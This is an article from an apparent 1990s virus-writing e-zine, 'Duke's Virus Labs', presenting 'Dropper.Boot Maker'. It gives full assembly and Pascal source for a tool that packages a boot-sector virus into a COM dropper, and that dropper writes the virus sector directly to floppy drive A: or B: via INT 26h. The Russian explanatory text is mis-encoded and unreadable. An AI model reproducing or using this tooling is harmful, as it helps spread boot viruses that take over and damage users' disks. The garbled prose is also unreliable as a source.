- [Duke's Virus Labs #3] - [Page 18] -

Dropper.Boot Maker v0.1
(c) by Duke/SMF

     ( ⮬ ᫥ ) ᮡ⥫ ᮢ 祭 
  boot-ᥪ஢ ᪥ ("᫥"), ᮤঠ騥 -
boot-. 設⢮ ⨢ᮢ  ஢  䠩 ᮮ
 㦥 . ᫨ ࠧ ⮣  >512 ,   boot-ᥪ
室  砫 .   ⠪ ᮬ  ⮫쪮 
樨, ᪮ 業 (ࠡᯮᮡ)    ᮤন.
᫨  boot- 筮  (<=512 ),    ᥣ 
ᥪ  楫 㬥頥  ᫥.   ⠪ ᮬ 
ਣ  ࠧ.
    ।: 㬥頥    boot'  ? ⢥  
᫮   ,  ⨢ 横 :)
   ⠪, ।  ᫥  boot-ᮬ.    稭 .
 訢 -     ᢮. ᪮ boot - 쭮
ᯥ᪠ ,     COM-䠩  㤠. 室
 -  ᫥   boot-ᥪ ᪥.  ।
:    ᤥ?  2 ਠ :
   1) ᯮ짮 Disk Editor. 筮 ୠ  -  Windows
      Disk Editor  ࠡ⠥. 㦭   ᪥ 䠩  ᫥,
      ᪮஢ ᥪ-᫥  clipboard, ࠢ  boot-ᥪ
      ᪥,  㤠 ᮤন clipboard.   ஡筮.
   2) ᯮ짮 ᯥ樠 ணࠬ, ਬ  BootEditor. ⮡
      ⠭ boot   BootEditor  㦭묨 ࠬࠬ:
      < 樨> < ᫥> < ᪠>.   㤮. ᠫ 
       ⨫ ᯥ樠쭮  ଥ஢  樮஢.
     ᯮᮡ  ⮫쪮  ⮬ 砥,  祫 ,  
 ⤠ ᥡ   ⮬,  뢠   boot.   ⠢
/ ஢   ?   ⮡     ᪥
? ࠢ쭮 -   dropper !
     dropper?   ,   ⠫.  襬 砥 
ணࠬ, 뢠 ᫥  boot-ᥪ ᪥. ⨢ᠬ  
dropper'  ⥪ (    㪨 ⨢᭨; 
⨪ ॢ  ᮧ ணࠬ DBM dropper'   
稥 ⮢  :( ),   ᮤন  dropper'  ᨢ
  ࠢ  砥.
       訫  -  ⮬᪮ ⠭
boot-ᥪ஢. 뢠   Dropper.Boot Maker  ⮨  
⥩ (䠩): maker' (dbm.pas)  ⠫ (inst.asm).  䠩
inst.asm ᮤন ,  ᮡ⢥  㤥 ஢ ⠭.
     ᢮ ᬮ७ (ਬ, ⠢  
  㤠,  뢮 ⥪  ..). ⥬ ⪮஢ 䠩
inst.com  ⨫⮩ OPT2INC (  ⢮⢮ :)  䠩
inst.inc,  砥  䠩 dpm.pas.  䠩 dbm.pas ந
⮢ 業 dropper'  䠡ਪ ;)  祫,
ᮧ饣 dropper, ॡ 㪠 䠩-᫥,  , ᪮
 ⠫樨   䠩-ய. ணࠬ DBM ᮧ  ᪥
COM-䠩, ᮤঠ騩 100% ࠡ騩 dropper.
    ࠭祭  砭:
1. -᫥   ࠧ 512  (.. ⠭ ᥪ).
 ⨢ 砥 dropper  ࠢ 㤥 ᮧ  㤥 ࠡ, 
 ࠭⨩   .
2.    ந⠫஢ ⮫쪮  ᪨ A  B ( 㣨
᪮ dropper  ᮧ).
3.  ᮧ dropper' ᥣ 㤥 ࠢ 628 .
4.     20 ᨬ ( ⮫쪮  ⢥    
⠫).
5. ᫨   - ࠢ  䠩 inst.asm,   ਤ
ࠢ ᫮ ⠭  䠩 dbm.pas.  ⨢ 砥 
ᮧ ࠡᯮᮡ dropper'.


 INST.ASM :

===== Cut here =====
; Dropper.Boot Maker v0.1 by Duke/SMF

        model tiny
        .code
        org 100h

start:
        mov ah,9                   ; 뢮    
        mov dx,offset DPMs
        int 21h

        call  setboot              ; 맮 ⠭ boot-ᥪ

        mov ah,9                   ; ᮮ頥  襭
        mov dx, offset DPMe
        int 21h
        ret
;----------------------------------
; ⠭ boot-ᥪ:
setboot:

disk    equ 0                      ;   (0=a:, 1=b:)
sec     equ 0                      ;  ᥪ
nsec    equ 1                      ; ⢮ ᥪ஢
op      equ 1                      ;   ᥪ஬ (1=)

        mov    DX, Word Ptr Sec    ; DX := Sec
        mov    CX, NSec            ; CX := NSec
        push   DS                  ; ࠭塞 DS -  㤥 ᯮ祭
        push   BP                  ; ࠭塞 BP

        mov    bx,offset boot
        mov    AL,Op               ; AL := Op
        shr    AX,1                ; ७ᨬ 訩  Op  CF
        mov    AL,Disk             ; AL := Disk
        int    26H                 ; 뢠 

        pop    DX                  ;  䫠  ⥪
        pop    BP                  ; ⠭ BP
        pop    DS                  ; ⠭ DS

        ;   ,   ᮢ襭⢮
        mov    BX,1                ; BX := True
        jc     Exit                ; ३, ᫨ 뫠 訡
        mov    BX,0                ; BX := False
        xor    AX,AX               ; 塞  訡
exit:
        ret
;----------------------------------
DPMs:   db 'Dropper.Boot for '
        db 20 dup (' ')            ; 窮 ⠢   
        db 13,10,'$'
DPMe:   db 'Installation complete!',13,10,'$'
boot:   db 512 dup (?)

end start
===== Cut here =====


 DBM.PAS :

===== Cut here =====
program DropperBootMaker__by_Duke_SMF;
const Inst   : array [1..116] of byte = {$I inst.inc};
var Boot     : file;                    {䠩  boot-ᥪ஬}
    DropName : string;                  { dropper'}
    Dropper  : file;                    {ᮧ 䠩}
    Sector   : array [1..512] of byte;  {ᮤন 䠩 Boot}
    VirName  : string;                  { }
    Len      : byte;                    {  }
    a,i      : byte;
begin
writeln('Dropper.Boot Maker v0.1 (c) by Duke/SMF  *** DVL Utilities ***');
if paramcount<>1 then
  begin
writeln('⮢⥫ ⠫஢  boot-ᮢ. ணࠬ ᮧ');
writeln('COM-䠩, ஢騩 ⠭ boot-ᥪ  㪠 ᪮.');
  writeln('ᯮ짮 : DBM.EXE <boot.vir>');
  halt;
  end;
filemode:=0;
assign(Boot,paramstr(1));               {⠥ boot-ᥪ}
{$I-}reset(Boot,512);{$I+}
if ioresult<>0 then
  begin
  writeln(' ',paramstr(1),'   !');
  halt;
  end;
blockread(Boot,Sector,1);
close(Boot);
filemode:=2;
write('  ᮧ dropper'' :');
readln(DropName);
assign(Dropper,DropName);
rewrite(Dropper,1);                    {ᮧ dropper}
blockwrite(Dropper,Inst,116);          {襬 ⠫}
blockwrite(Dropper,Sector,512);        {襬 boot-ᥪ}
{-----    -----}
repeat
  write('   (  20 ᨬ):');
  readln(VirName);
  Len:=length(VirName);
until Len<20;
seek(Dropper,$44);
for i:=1 to Len do
   begin
   a:=ord(VirName[i]);
   blockwrite(Dropper,a,1);
   end;
{-----   ᪮ -----}
repeat
  write('   ⠭ (0=A, 1=B):');
  readln(a);
until a in [0,1];
seek(Dropper,$22);
blockwrite(Dropper,a,1);
{-----}
close(Dropper);
writeln('Dropper ᮧ!');
end.
===== Cut here =====
